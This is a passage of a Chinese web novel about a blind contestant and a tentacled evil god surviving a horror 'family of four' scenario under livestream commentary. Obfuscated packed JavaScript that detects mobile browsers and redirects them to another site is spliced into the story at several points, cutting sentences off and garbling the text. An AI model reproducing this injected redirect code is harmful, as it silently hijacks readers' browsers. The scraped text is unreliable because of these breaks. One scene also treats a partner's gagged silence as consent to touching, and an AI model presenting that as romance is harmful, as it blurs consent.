因只因他吃的那些都是染上灰色或黑色的灵魂,灵魂本无色,却会因其主人的选择而染上不同的颜色,其中可选择的颜色有灰色、黑色、白色。 灰色常见,黑色和白色则是罕见,因只因人若是想善的纯粹或者恶的纯粹都很难。 纯黑色的灵魂塔尔斯尝过两次,是辣的,纯白色的灵魂他没有尝过,但闻着从他的新娘身上透过来的丝丝缕缕的甜味,想必和那些诡异制止的糖是一个味道。 不,应该是更胜一筹才对,因为他的新娘灵魂的甜味更纯粹。 “唔……好紧,松开点。” 听到宁小满的呓语塔尔斯脸上诡异的表情定格了一瞬,旋即慢慢退去并放松了缠着他的触手,只一双还紧紧盯着他不知道在盘算着些什么。 12. 四口之家 翌日,宁小满一觉醒来只感觉腰酸腿疼,就好像他昨天晚上不是睡觉去了,而是挨打去了。 在塔尔斯的帮助下换掉睡衣后,宁小满揉着肩膀站起身走到浴室,一边刷牙一边含糊不清的问道:“左天完上有洞西过来吗?” 塔尔斯还沉浸在方才看到的美景中一时间没反应过来,慢了半拍才回话:“对不起哦满满,我刚刚发呆没听清你说了什么,你能再说一遍吗?” 宁小满将口中的漱口水吐掉,口齿清晰的又说了一遍:“昨天晚上有东西过来吗?” “有哦,来了五波,第一波是只猫、第二波是三个人头……第五波是只狗,虽然有点多,但我全部都打回去了哦!” 宁小满若有所思的点了点头便继续洗漱去了,洗漱完毕吃了早饭,宁小满在塔尔斯的陪伴下熟悉了一下家里面家具摆设,以确保后边如果发生大逃杀情况不至于直接被逮到后便回了房间坐等爸爸妈妈回来。 说是坐等也不准确,因为他趁着这段时间跟塔尔斯又了解了一些有关诡异的知识。 —— 现实世界怪谈部,王宾盯着不断说着陌生词汇的宁小满,咽了咽口水,一时间只感觉喉咙干疼,忍着喉咙中传来的干涩开口问道:“记录员呢?刚才天选者说的那些都记下来了吗?” “部长,都记下来了。”于优从打字机后边探出头回道。 看见于优探头,王宾眼睛刷的瞪大,“你探头干什么?干什么!赶紧缩回去继续记录啊!” “哎呀,放心喽,我会盲打,手没停的啦。” “那也不行,认真打字去!” 与王宾大眼瞪小眼对视了两秒,于优撇了撇嘴,缩回了回去,只一张小嘴不停动着,无声的吐露着优美的话语。 —— 了解新知识的时间总是过的极快的,半天时间在交谈声中眨眼即逝。 晚上,抱着与其在房间坐以待毙不如主动迎敌的想法,宁小满干脆从房间内走了出来,抱着塔尔斯就坐在沙发上等着“出远门”的爸爸妈妈回来。 尽管早就做好了诡异爸妈回来的心理准备,可是真到了开门声响起,诡异爸妈出现那一刻,心里面的不开心还是透过眼睛溢了出来。 —— “看看、看看,这不开心透过眼睛都溢出来了,三星真不打算做什么吗?” “三星:好的,这就干活,让他们再出几天远门/哈哈哈。” “嘿,真别说,像是三星能说出来的话。” “嗯?三星会说话?他不是只会咕噜咕噜叫吗?” “话说回来,天选者能听明白三星说了什么吗?” “肯定的啊,不能听明白他们俩能一聊就是一下午?” “那天选者的天赋技能是什么?能听懂诡异说话那个sss级诡物语吗?” “已截图举报了哈,没事闲的打听天选者天赋技能,一看就不是我们兔国的。” “同举报,莫辜负。” “呃……大家怎么判定的啊?我这都没有意识到你们就举报了……” “谁家好人把那么隐私的事在直播间商量啊?真不怕被……” “被什么?” “已截图举报,兄弟,希望你面对调查员也能问个被什么。” —— 这边,塔尔斯察觉爱人的情绪蓦然低落下来,眼睛一转,瞥到进门的爸爸妈妈,出声询问:“不喜欢他们?” “不喜欢又能怎样,他们也不会因着我的不喜欢再出趟远门。”说着,宁小满没忍住叹了一口气。 再出趟远门吗?也不是不可以,塔尔斯危险的眯了眯眼。 进门就看到一团乱的家以及安生坐着的天选者,诡异爸妈刚准备发难就感觉后背一凉。 直觉告诉他们,他们被比他们厉害的诡异给盯上了,但是理智却又告诉他们,不可能,这是他们的怪谈,而且现在正处于那位的计划期间,不可能有诡异打上门。 最后的最后,理智战胜了直觉,诡异爸妈对视一眼,还没来得及相处的夫妻两个有着同出一辙的默契,“你看看这房子脏的,恐怕三天没有打扫过了吧?我的孩子,你告诉我,你在家都干了什么?嗯?” “呵,干了什么?恐怕他只顾着在家玩了,你看看那墙,不知道被什么砸了一个大洞。” 说完,爸爸抬手撑着额头做出苦恼状,实则被手遮挡下的嘴角都快扬到天上去了,“噢,我亲爱的老婆,你知道接下来该怎么做对吗?” “我想,是的,我知道该怎么做。” 从始至终都插不进去一句话的宁小满心累的放松身体靠在沙发上,擎等着妈妈过来,然后怀里面的小家伙暴起。 嗖——触手卷着妈妈的脖子将她甩到墙上,塔尔斯微动,从宁小满放松了的双臂中游出去站在他肩侧,面对怒目而视的爸爸和猩红着眼睛的妈妈,不甚在意的放出了一条触手的真容。 “砰!砰!” 宁小满听到爆炸声从沙发上坐起,捞过站在肩侧的塔尔斯抱到怀中戒备的看着前方,声线有些颤抖的问道:“什么炸了?” “他们炸了。” “他们?” 话刚问出口宁小满就反应了过来,抱着塔尔斯的手微微放松,沉默两秒后问道:“怎么炸的?” “就看了我一眼,然后砰的一声炸了。”血肉四溅,要不是他用神力挡着,满满就要洗热血澡了。 “我知道砰的一下炸了,我问的是为什么炸了?” “他们、看了我的触手,未经神的允许不可直视其真容,化身亦如是。” 那还挺巧,他正好看不见,恰好规避了他爆炸的可能。 塔尔斯看出宁小满在想什么,心中思虑万千,话到嘴边却只变成了四个字:“你不一样。” 夜色寒凉,幻象无声铺展,蠢蠢欲动的触手还没来得及行动就被连根带去了另一空间。 塔尔斯飘在半空中活生生把自己气成了个长着八根绳的气球,要知道他刚才就差一点点、就那么一点点就要碰到他好奇已久的地方了啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030865|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果突然被拽过来,刚才的一切忍耐全部都付之东流了! 越想越气的塔尔斯忍不住了,直接Q罪魁祸首:“老家伙!滚出来,别躲,能拽我过来的只有你,快点的滚出来!” “啧,没礼貌。” “呵,你让邪神讲礼貌,你礼貌吗?” 光球避开像鞭子一样甩过来的触手,冷冷道:“你毁了我的怪谈,让天选者得了利,这账、如何算?” “账?什么账?我承认了吗你就账账账的,赶紧的,放我出去,要不然等我切本体了和你没完!还有,别一口一个天选者的,那是我的新娘,你礼貌点,尊称他邪神夫人。” “呵——呵呵。”祂被气笑了,“邪神夫人?那我是不是还要叫你一声邪神大人了?” 塔尔斯想了想道:“也行。” “塔尔斯!我看你是彻底飘了!” 塔尔斯用触手尖揉揉耳朵,不耐烦道:“我本来就是飘着的,快点的,送我回去。” 老家伙烦死了,要是他现在用的是本体早跑了,谁跟祂唧唧哇哇啊,又老又没礼貌的家伙。 祂想到自己将塔尔斯带过来的目的,深吸一口气道:“送你回去可以,但你听好了,以后不准再随意扰乱怪谈运行,也不可再随意透露给那个人类有关诡异的事情,否则……” “否则什么?你还能杀了我不成?”塔尔斯说着露出一个嘲弄的表情,“别忘了,神是杀不死的。” “我是无法彻底杀死你,但不代表我无法杀死那个人类。” “你威胁我?” “没有,交易而已,你乖乖听话不捣乱,自然可以保我不对那个人类出手。” “行,”塔尔斯点点头,语气格外平静道:“我同意了,只希望你以后不要后悔。” 后悔?祂冷笑,祂之前唯一后悔的就是劫掠塔尔斯进规则怪谈时没像其他诡异一样打下印记,给自己留了那么大一个祸患。 现在多了一个,那就是安排天选者进场时没有屏蔽塔尔斯的感知让他感应到了兔国的天选者。 想到兔国天选者的灵魂本质,祂脸上冷意更甚,兔国……好手段。 “喂,我答应了,赶紧送我走。” 白光一闪一灭,下一瞬他已经回了四口之家怪谈,塔尔斯眨眨眼,游到宁小满的房间推门进去,并没有直接上床,而是先来到了放在床边的盲杖边。 触手微晃,点点黑光凝聚触手尖,又通过触手尖蔓延至相交的盲杖上,随着力量的输送,原来单调无花纹的盲杖从下往上逐渐浮现一些暗色的花纹。 花纹极尽繁复,交缠间恍惚勾勒出一个被触手环绕的人来…… 一个小时后,塔尔斯缓缓收回触手,看着自己的杰作咧开嘴角笑了,老家伙,说让你后悔我就一定会让你后悔的。 不让我出手是吧?没问题,我把力量给爱人,并一招一式指导他出手,总能把怪谈搅他个不成样来。 想想自己柔弱的爱人抡起盲杖一下一个小诡异,有点带感是怎么回事? 13. 四口之家 “唔……”宁小满在床上毫无负担地翻了个身,翻身时就隐隐约约感觉哪里不对劲,但没想到,两秒后陡然惊醒,坐起身摸索着喊道:“塔尔?塔尔你在吗?” “在的在的,满满我在这。” 触手在身后加速,塔尔斯一个飞扑扑到宁小满怀中,用头蹭蹭他下巴,谎话张口就来:“我刚才解决来找麻烦的小诡去了,刚回来。” 说实话,这话一听就是假的,因为宁小满能听到塔尔斯飞扑过来带动的风声,那风声很近,明显塔尔斯早就在床边,听到他叫他方才过来。 而如果他是在床边解决的小诡,依照塔尔斯那毛躁的性子,不可能不发出动静,依照他刚才半梦半醒的状态,发出动静他不会听不到。 也就是他大半夜睡得迷迷糊糊的不想揪着这点不放,外加戳破会让他们两个同时陷入尴尬的境地,要不然……要不然…… 一通有理有据的分析过后,宁小满成功让自己睡得更沉了一些。 太阳斜斜的从窗户照进屋内,恰巧就又那么一缕趁着塔尔斯出门拿外卖的功夫照到了宁小满脸上。 塔尔斯拿了外卖回来见到爱人一张脸沐浴在阳光下的模样就是一愣,不是不好看,而是太好看了。 本就柔和的五官配上一层太阳光,就像是开了一层美颜磨皮一样,毛孔隐匿在阳光下,就……给他一种不似真人的感觉,但要说像诡异吧,也不是。 诡异气场大多阴冷,跟宁小满身上温暖的感觉那是八竿子也打不到的关系。 不知道过了多久,“唔”的一声打破了塔尔斯呆呆愣在门口的傻样。 只见床上被子一阵鼓动,宁小满顶着炸毛的头发坐起身,两眼一睁就是摸索着要找不知道去哪了塔尔斯。 摸遍整个都没有找到小章鱼的宁小满愣愣的坐在床尾,一双无神的眼睛呆呆盯着前方,和刚才看呆了的塔尔斯有异曲同工之妙,直播间弹幕总结:夫妻相。 旁观爱人一醒就找自己的塔尔斯露出傻笑,握着外卖袋的触手无声捏紧,叫着宁小满的名字就飞了过去,“满满,我拿外卖回来啦!” 宁小满张开双臂一边等塔尔斯飞过来一边问道:“今天这么点这么早的外卖?” “因为、今天有事要做啊。” “哦?什么事?”宁小满捏捏塔尔斯的触手不甚在意的问道。 “不告诉你,先卖个关子,吃完饭再说。” 宁小满轻笑一声,“那就先吃饭再说。” 一顿丰盛的早餐过后,宁小满握着塔尔斯塞到手里面的盲杖,满脸疑惑的被他带着朝二楼走去。 “二楼就两个房间,昨天已经探索完了,今天还去二楼干嘛?” “杀诡。” “你要杀诡的话,我跟着会不会妨碍你?” 塔尔斯灿烂一笑,“不会,因为要杀诡的是你。” “我?”宁小满停住脚步下意识摆手,“我不行的,我连看都看不见,怎么能杀诡呢?他们移动速度那么快,我……” “满满!”塔尔斯倏然大喝一声打断宁小满的话,“你行的,不试试看怎么就知道自己一定不行?” 宁小满试图用自己之前的经验来说服塔尔斯,“我小时候试过学自行车,可是还没开始就因为学它要能看得清路而放弃了,我小时候还试过打篮球,也因为看不见球框在哪而放弃了,除了这些,还有好多好多,但凡涉及到运动的,我总是还没有开始就会结束。” “所以呢?” “所以这次,我也不会行的。” “你一直在说行不行,却没有说过你想不想,这样,我带着你试试,就试试,如果实在不行咱们再放弃,行吗?” “我……” 见宁小满还在犹豫,塔尔斯又道:“别忘了,我是邪神,那些小诡我一个触手尖就能按死!” 所以,别犹豫了,有他兜底呢! 宁小满一咬牙,狠狠心应道:“好!那就试试!” 答应了试试后,宁小满发现,他并没有想象中的害怕,反而满是轻松,就好像他亲手解掉了身上的束缚一样。 这种感觉来的匆匆,他并没有深思,本着答应了就要尽全力做好的理念,他问起了一会的具体安排。 “一会打架,我要直接冲上去用拳头打他们吗?” 塔尔斯惊诧的看着宁小满,“为什么会这样想?” 宁小满抿了抿唇,红着脸道:“因为我能用来打架的好像就只有一双拳头。” “盲杖不是武器吗?” “盲杖能用来当做武器吗?” “不能吗?” “不能吧。” 塔尔斯用触手挠了挠头,决心为他的新娘科普一下由邪神部分躯体制造的武器……啊不,盲杖,到底有多厉害。 虽然他现在用的是分身,没有本体那么彪悍,但是他出手制造的武器怎么可能普普通通? “盲杖可以当做武器,它是我一部分躯体制造的,对诡异天然有着克制性,实力弱的,一下下去轻则重伤,重则没命。” “我打出去也有这么强?” “当然!”不要小瞧了邪神的一部分躯体好不好? 宁小满眨眨眼,握紧手中的盲杖,恍惚间觉得自己好像不用特意寻找另一条路了,他只需要打穿副本就好。 —— “天啊,三星到底说了什么?这都快给咱满宝迷成智障了。” “男人不能拒绝的还能是什么?当然是打怪升级当主角啦,盲猜三星要教满宝打架了,刚才说的盲杖武器什么的就是佐证!(自豪摸下巴)” —— 见宁小满脸上的表情不在似刚才那般抗拒,塔尔斯拉住他的手朝爸爸房间走去,边走边道:“他房间有只小诡,前两天去的时候那小诡没有出头我也就懒得收拾,现在想想,幸好没有收拾,用来给你练手刚刚好。” “我看不见它在哪怎么办?” “我扒在你肩膀上,一会听我指挥。” “好。” 想到一会的自己掌握指挥大权,塔尔斯就激动到搓触手。 抬脚跨进浴室门的那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“身体素质太差,体力太弱,以后在床上很难撑下来的。” 宁小满反应了好一会才反应过来塔尔斯开了个黄腔,反应过来的一瞬脸色爆红,抬腿就走,盲杖都快敲冒烟了也不停一下。 塔尔斯飘在原地看着跑走的爱人不解的挠头,怎么就跑了,他还想继续和他说说有关那方面的事呢,不是他夸张,就这体力,都撑不过他一轮玩的。 如果以后一提到这方面的事就跑,他该不会一辈子都吃不到肉了吧?不要吧,他不想以后也只吃肉渣过活啊! 不过话说回来,今天晚上吃多少肉渣合适呢? 哎呀,不想了,再想人就跑没影了。 爱人不想提就暂且不提,反正他本体没那么快出来,现在当务之急是追上去,“满满……别跑那么快啊,等等我!” 听到塔尔斯的呼喊声,宁小满脚步一顿,旋即再次加快了速度,边走边纳闷道想道:物种不同是没有好下场的,塔尔斯怎么就想不明白呢? “满满~跑那么快把我弄丢了怎么办?哎哎——怎么还加速了呢?” 14. 四口之家 宁小满不说话,只一味的低着头向前走。 然后、然后就悲催的差点撞到墙,为什么说差点呢?当然是因为在撞墙前,先撞到了某个长着吸盘的触手上。 双手扶住身前的触手稳住身形,盲杖自然而然脱手而出,宁小满站好刚想蹲下去找盲杖手就碰到了一根直愣愣杵着的东西。 手指试探性摸索两下,确定是自己的盲杖后宁小满神情复杂道:“它除了打诡异,还有其他功能?” “有吧,我也不太了解。” 说这话时塔尔斯难得有些心虚,因为他哪是不了解,他是太了解了! 章鱼有九个大脑,一个为主八个为辅,分别在脑子中八个触手中,他当初拽触手时是连根拽断。 理所当然的,那根断掉的触手中有他一个大脑,后边他虽说又长出来的一根触手,但大脑并没有连同一起长回来。 根据他对他大脑(自己)的了解,那一个大脑是贪恋新娘掌心的温度,所以才不想回来。 后来嘛,他把那根触手制造成了盲杖,小新娘看不见路需要盲杖引路,那个大脑一看能天天被摸,乐不思蜀,就更不愿意回来了。 好在那个脑子还有点分寸,没有贸然做出什么奇怪的举动吓到小新娘,要不然他早就回收了他,哪能还任由他待在盲杖中? 要知道待在盲杖中被摸到时间直线上升,连作为主意识的他都有点……不,不是有点,而是非常嫉妒! 嫉妒使人面容扭曲,邪神也不例外,也就是仗着宁小满看不见,要不然塔尔斯还真不敢露出这狰狞的表情来。 这边塔尔斯在自顾自的出神,宁小满发现他出神叫了他几声都没有得到回应后转身就走,走了两步叹口气,认命的转身回去摸索着拉住一根触手尖往回走。 握着触手尖的力气并不大,只要塔尔斯想,都不用用力就能抽出来。 但是为什么呢?他为什么要抽出来? 他们两个之间总是他要强势一些,宁小满很少主动,偶有主动也是被他逼得不行了才会主动,好不容易有一次不是他逼着的,他开心还来不及又怎么会打破这么好的局面呢? 塔尔斯脸上挂着微笑默默在后边注视着宁小满的后背,听着盲杖敲敲打打的声音只感觉比信徒千辛万苦编排的歌曲还要好听。 “满满,我喜欢你。” 听到塔尔斯的突然告白宁小满见怪不怪地回道:“我也喜欢你。” 脸上的笑容一僵,塔尔斯恨不得抬爪抽一巴掌,真是的,哪壶不开提哪壶,又受骗了吧? —— “救!好人机的回复,一点感情都不带,隔着马赛克我都感觉到三星哥的不开心了,哈哈哈哈——” “宁小满:纯人机无感情回复,你值得拥有。” “三星:转人工,给老子转人工!谢谢。” “楼上ooc了,三星哥不会这么礼貌。” “面对老婆可不得礼貌点,要不然老婆跑了三星哥就该哭了。” “有道理……哈哈哈哈哈。” —— 拉着塔尔斯回房后宁小满盘算了一下,时至现在,离那道声音说的七天时间已经过了近半,规则他已经摸透了不说,诡异爸妈也被塔尔斯解决了。 房间内或许还存在一些他不知道的小诡,他拿着盲杖就能应付,不足为虑,这么一看,唯一需要担心的就只有周日回来的哥哥了。 但令他没想到的是当他把他的想法跟塔尔斯说了一下后,却得到了否定的答案。 “两天后他们还会再出现的。” “谁?” “诡异夫妻。” 诡异夫妻=诡异爸妈,宁小满在脑海中一换算突然就明白了什么,“诡异爸妈出远门那次,是不是假的?” “嗯,他们两个实力不强,算是下等,不足为虑,再出现,你上,试试看能不能直接打死他们。” 啊、啊?宁小满不可置信的瞪大眼睛,他才刚能打死小诡就让他上去打boss,是不是有点太夸张了? 好吧,说是boss可能有点夸张,因为诡异爸妈对塔尔斯来说可能什么都不算,但是对他,是真的挺厉害的了啊! 看出宁小满的不自信,塔尔斯用触手拍了拍他的头安慰道:“乖,相信自己,你可以的。” 宁小满慌乱摇头,内心呐喊:不,我不相信自己,我也不可以! 两天后,宁小满颤抖着手收回盲杖,抬手抹了一把脸上刚刚被溅到血的地方,拉开一道血痕,踉跄着跑到墙边扶着墙就是一阵干呕。 后背处突然传来一阵轻柔的拍打,宁小满下意识寻求认同,“我、我做到了,是不是很棒?” “很棒,做的很好,我先送你回房,接下来我来收拾。”塔尔斯说着变大身形将宁小满抱起。 说实话,触手的手感并不好,很滑,背面就更不用说了,一堆吸盘,但凡被它吸住皮肤不红一片肯定是挣脱不了的。 但在解决了两个和人类外表一样的诡异后,被触感不好的触手抱着竟然都成了一种享受。 因着体型过大,卧室房门已经不容许塔尔斯进去了,想将宁小满送到床上只能靠变长触手。 触手抱着宁小满将他送到床上,在没有得到塔尔斯命令的条件下自发的拿起一边的薄被盖到宁小满身上,掖了掖被角,擦干他脸上的血渍,又极为留恋的在他脸上摸了摸方才要离开。 宁小满察觉到触手的离开纠结了一瞬便果断开了口:“塔尔,别走,我想你陪着我。” 刚离开一米的触手一顿,旋即不顾主意识愤怒的呐喊强行变大将自己塞进了宁小满怀中,为防主意识强行将他撤回更是十分干脆的将自己从扯了下来。 宁小满眷恋的抱着粗大的触手蹭蹭,后边察觉到吸盘在吸他的手也没想过放开,他只知道,他现在不想一个人待着,虽然这里没有其他人在,但有具有人类思维且对他极为友好的塔尔…… 塔尔斯低头看着触手断口,蓦然森然一笑,不为什么,就是突然想吃点烤脑花,一般的他看不上眼,自产自销就不错。 感知到主意识的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁小满心累的抱……抱、抱不动,然后更心累了,“变小一些。” “满满要抱我吗?”塔尔斯眨眨眼明知故问。 “嗯,你现在太重了。” 塔尔斯撇撇嘴道:“这算什么啊,我本体有一座山那么大呢!” 哦,所以他注定是抱不动塔尔斯了,宁小满没什么情绪波动的想道。 随后一手抱着变小的塔尔斯一手拿盲杖朝浴室走去,到了浴室他并没有先给自己洗澡,而是来到洗手池前将变小的塔尔斯放了进去。 塔尔斯两根触手扒着池壁不解歪头,“这是干嘛?” “给你洗澡。” 说来也是他不称职,塔尔斯跟了他这么些天,这还是第一次帮他洗澡…… 听到洗澡两个字,塔尔斯眼睛一亮,想到什么,又故作害羞的用两只小触手捂住自己问道:“洗完澡是要就寝吗?” 15. 四口之家 “就寝?睡觉吗?” 塔尔斯乖巧点头,“嗯嗯。” “那就没错了,”宁小满边说边打开水龙头挤了一些塔尔斯找来的沐浴露在左手上,伸出右手道:“触手。” “给。” 宁小满握住搭在手心的触手搓洗,同时心中闪过一抹异样的感觉,塔尔斯刚才的语气、过于夹了,其中还夹杂着一丝羞答答的感觉。 不过,羞答答?塔尔斯?他果然是被吓到了,居然会把他们联想起来,宁小满呼出一口气,放下手中的触手道:“这根好了,下一根。” “给~” 说这话时,棋差一招沦落到打扫卫生的触手打扫完卫生跑了回来,正在洗手池底下请求归位,塔尔斯瞥一眼打扫完卫生跑回来的触手,不动声色的换了个姿势将没有一丝血液渗出断口挪到了外侧。 在地上的触手见了奋力一跳,成功归位。 “好了,下一根。” “给。” “好……给……好……给……” 一连几遍一样的对话后,所有触手全部洗完,宁小满成功收获了一只干干净净的小章鱼,捞起洗手池中的小章鱼甩甩水,然后放到一边的沥水架上,语气轻松,“洗好了,接下来该我洗了。” 可能是刚才帮忙洗澡的老婆太过于温柔,塔尔斯没忍住搓着触手为自己讨要了之前不敢提的福利,抱着我提一嘴、同不同意在你的想法,塔尔斯果断开口道:“满满,我想帮你洗澡。” “不太好吧?”宁小满闻言脱衣服的手一顿。 “怎么不好了?你刚才都帮我洗澡了!” “我手上没有吸盘不会弄疼你,你触手上的吸盘却会弄疼我。” “我、你……我……算了,我帮你挡着,你自己洗吧。” “嗯,谢谢塔尔。” “喏,触手,亲吧,之前说好的,不要口头谢谢,一声谢谢一个吻,”眼瞅老婆露出无奈的神色,害怕下一秒老婆就要说教的塔尔斯先下手为强道:“之前很多次没给我都没要,这次不能不给!要不然……要不然你就是言而无信!” “我没说不同意,”宁小满抬手按按太阳穴,脑子被过密是话语吵得昏昏胀胀的,抓住触手放到嘴边:“啾——这下可以了吧?” “嗯,可以了。” 飘忽的语气就如此刻塔尔斯飘忽的心,飘飘荡荡落不到实处,强蹭来的吻固然解渴,但怎么都不如主动的吻来的可心。 哗啦啦的水声荡漾着塔尔斯那颗飘在半空中的心,直挠的他心痒痒。 二十分钟后,宁小满刚裹上浴巾还没开口让塔尔斯让开,一股失重感突然袭来,双臂在半空中晃荡两下最后抱住了塔尔斯特意杵在他身前的触手。 没有焦距的双眼锁准塔尔斯的方向,不开心地拧着眉问道:“干嘛突然抱我?” 浴室这么滑,很容易突然摔倒的! 塔尔斯开口就是一记直球:“我喜欢满满。” “……喜欢也不能一声招呼都不打就抱我啊。” 塔尔斯再接再厉道:“我爱满满。” 宁小满红着脸被放到床上,用冰凉的手背摸了摸发红发烫的脸,瓮声瓮气道:“这次就算了,下次不准了。” 人到床上塔尔斯反倒是不急了,他先是放出力量遮蔽规则形成的直播,后努力尝试变成人形,无果。 拧着眉检查了一遍自己现在的躯体,确定是当初的自己心急忘了给化身加变人功能后长出一口气,果断放弃了本垒打的打算,只打算吃些肉渣就…… 拿触手光滑的一面缠住宁小满捂着脸的手拉开,看着宁小满红透了的脸轻声唤道:“满满、满——满,满满!满满~” 听着这一迭声的满满,本来打定主意今天晚上不再搭理他的宁小满低低“嗯”了一声表示自己听到了。 “满满,你亲亲我可以吗?” 宁小满挣脱锢住他手腕的触手,翻了个身趴在床上摇了摇头:“不可以。” “为什么不可以?” “哎呀!不可以就是不可以,干什么非要刨根问底?” “好吧,”塔尔斯点点头,换了个问话方式:“那我亲亲你可以吗?” “不、唔……” “嘘——我不刨根问底,满满也不要拒绝好不好?嗯?” 被捂住嘴根本说不了话的宁小满:好不好、好不好!你倒是松开捂着我嘴的触手让我回话啊! “不回话,我就当满满答应了,亲亲可以的话,摸摸应该也可以吧?” 宁小满:……无语,大写的无语,自问自答的狗东西能不能滚啊! “唔唔!”吸盘收收啊!不知道吸盘剐蹭很疼嘛! 一夜无梦,翌日一早,房子的大门就被一双充满骨感的手自外打开。 高筒靴踩在实木地板上发出哒哒哒的声音,来人不是其他,正是周日才能回来的哥哥。 哥哥嗅着空气中若有若无的血腥味,苍白的脸色浮上一抹红润之色,一双占据了大半个眼眶的黑色瞳孔直勾勾看向楼梯边的房间,红唇微勾,无声的呢喃道:“我亲爱的弟弟,哥哥回来了,你还好吗?” 想必是不太好吧,毕竟爸爸妈妈可算不上友善,准备好迎接来自哥哥的关爱了吗? 哒哒声由远及近,因为身上丝丝缕缕疼意睡得本就不太安稳的宁小满瞬间惊醒,动作干脆利落的翻身下床握住床边的盲杖站到窗户附近,满脸戒备的看向声源处。 塔尔斯顶着一张左边比右边肿了许多的脸飘到宁小满肩侧,唯唯诺诺的小声说着来人:“是一直没出现的那个男诡。” “我知道。”他一直数着日子呢。 “叩叩叩——宝贝,哥哥可以进来吗?” 宁小满没说话,因为他知道不管他回答什么都不耽误外边的诡异进来。 门外的哥哥没有听到回答也不恼,只自顾自打开房门朝里看去,当他看清宁小满是全手全脚站在那的眼中闪过一丝惊异。 旋即当他目光落到那张脸上时,惊异瞬间变为惊艳,“宝贝,不得不承认,你比之前的弟弟都要美,考虑留下来陪哥哥吗?” 宁小满还没说什么塔尔斯已经炸了,咕噜一声就要从他怀里面冲过去顶飞敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁小满抱着塔尔斯走到书桌前坐下,将塔尔斯放到书桌上双臂交叠撑着桌面,乖巧的看向塔尔斯等着塔尔斯的讲解。 然而,看着这样乖巧的爱人塔尔斯根本不想讲解,只想亲亲。 “满满~” 宁小满不待塔尔斯继续往下说就打断道:“不可以得寸进尺。”昨天晚上缠着他胡作非为就算了,大白天的还是不要白日宣淫了。 “好吧,”塔尔斯失望的撇撇嘴,凭空变出一个黑框眼镜戴上,轻咳一声就开始了自己的讲解:“怪谈按照等级分为D—A还有S、2S、3S、4S八个等级,按照老家伙的尿性,天选者闯关一定会按照这个顺序来。 他实力算是中层,够不上S,但A稳了,他刚才说以后见,说明他极大概率就是这次安排的A级怪谈主人。” “那你呢,你是什么等级?” 塔尔斯骄傲的翘起下巴道:“仅此一个的4S级!” 所以不用担心通不了关,最难那关是咱家开的! 16. 四口之家(完) 塔尔斯的言外之意宁小满并没有领会到,他的思维完全拐向了另一条胡同…… 当初那道声音说是通关一个副本恢复八分之一的资源,结合刚才塔尔斯说的他是唯一一个4S级,他们这些天选者要闯的最后一个怪谈已经明了。 众所周知,章鱼是一种拥有九个大脑三颗心脏学习能力惊人的生物,以章鱼为本体的塔尔斯想必也继承了不少章鱼的优点。 现在的塔尔斯就已经很强了,据他所说这还不是他的本体,不敢想象到了他的怪谈他们这些天选者该有多被动、多无助。 再回想,那道声音当初好像只说了通关恢复资源,却没说通关全部怪谈后他们这些天选者会怎么办。 换个思路想想,或许那道声音的主人从始至终都没有想过让他们通关,他只想让他们无限复活留在这怪谈中当血包,给那些诡异吃提升实力,宁小满咬着唇脸色惨白。 “满满,你想什么呢?脸色这么白?” 感知到脸被滑腻的触手摸过宁小满蹭的一下站起身,僵着一张脸道:“我累了,要休息了。” 塔尔斯疑惑歪头,这就累了?不是才刚醒吗? 转念一想,这样是因为他昨天晚上的胡作非为,那么一切就解释的通了。 虽然还有一个奇怪的点——他虽然胡作非为了一点,但顾念着人类新娘的脆皮程度,他并没有用力,只是触手游走间摸摸蹭蹭解了解馋,顶多就做了半个小时。 后边倒是又聊了一下关于他后边不方便再出手这件事,可是这样也不至于累着吧?要知道后边可一直都是他在说啊! 怀揣着不解,塔尔斯纵身一跃来到床上,用手推了推宁小满,哄道:“满满,不吃早饭就睡觉不好,一会外卖到了吃点东西再睡吧。” “不了,吃了那么多天外卖有点腻了,不想吃。” 腻了?那怎么办?塔尔斯麻爪了。 什么?你说让他去做,不行不行,让他做饭还不如让他征服世界去呢,那个还来的简单点。 十分钟后,预备征服世界党邪神拿着外卖送的新鲜蔬菜偷偷摸摸去了厨房,再十分钟后,砰的一声爆炸声将宁小满从房间内炸了出来。 “怎么了怎么了?地震了吗?” 塔尔斯冒着黑气从爆炸中心地带游出来,大睁着眼睛呆呆道:“没有,就是我想做饭,不小心把厨房炸了。” “那你没事吧?” 塔尔斯飞到爱人敞开的怀抱中幽幽吐出一口黑气,“没事,就是身上脏了。” “我帮你洗!”宁小满果断道。 重回故地,塔尔斯乖乖窝在洗手池中,让给哪根触手就给哪根触手,全程没说一句,与往常话唠的形象相去甚远,搞得宁小满都有些不习惯了。 就这么沉默下去虽说也不错,但谁知道憋着憋着会不会把本就变态的某神憋的更变态,宁小满想了想开口问道:“你,怎么突然想起来做饭了?” 